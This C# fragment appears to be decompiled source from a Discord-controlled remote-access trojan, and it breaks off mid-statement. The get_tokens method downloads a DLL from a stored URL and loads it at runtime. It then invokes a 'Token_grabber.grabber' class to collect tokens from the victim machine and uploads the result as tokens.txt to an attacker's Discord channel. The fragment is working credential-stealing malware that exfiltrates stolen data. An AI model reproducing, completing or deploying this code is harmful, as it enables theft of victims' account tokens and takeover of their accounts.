public static async Task get_tokens(string channelid)
{
if (!Program.dll_holder.ContainsKey("token"))
await Program.LoadDll("token", await Program.LinkToBytes(Program.dll_url_holder["token"]));
if (!Program.activator_holder.ContainsKey("token"))
Program.activator_holder["token"] = Activator.CreateInstance(Program.dll_holder["token"].GetType("Token_grabber.grabber"));
object obj = Program.activator_holder["token"];
string input = string.Join("\n\n", (IEnumerable<string>) obj.GetType().GetMethod("grab").Invoke(obj, new object[0]));
if (input.Length >= 1990)
{
string channelid1 = channelid;
List<byte[]> attachments = new List<byte[]>();
attachments.Add(Program.StringToBytes(input));
string[] filenames = new string[1]{ "tokens.txt" };
int num1 = await Program.Send_attachment(channelid1, "", attachments, filenames) ? 1 : 0;
int num2 = await Program.Send_message(channelid, "Command executed!") ? 1 : 0;
}
else
{
int num3 = await Program.Send_message(channelid, "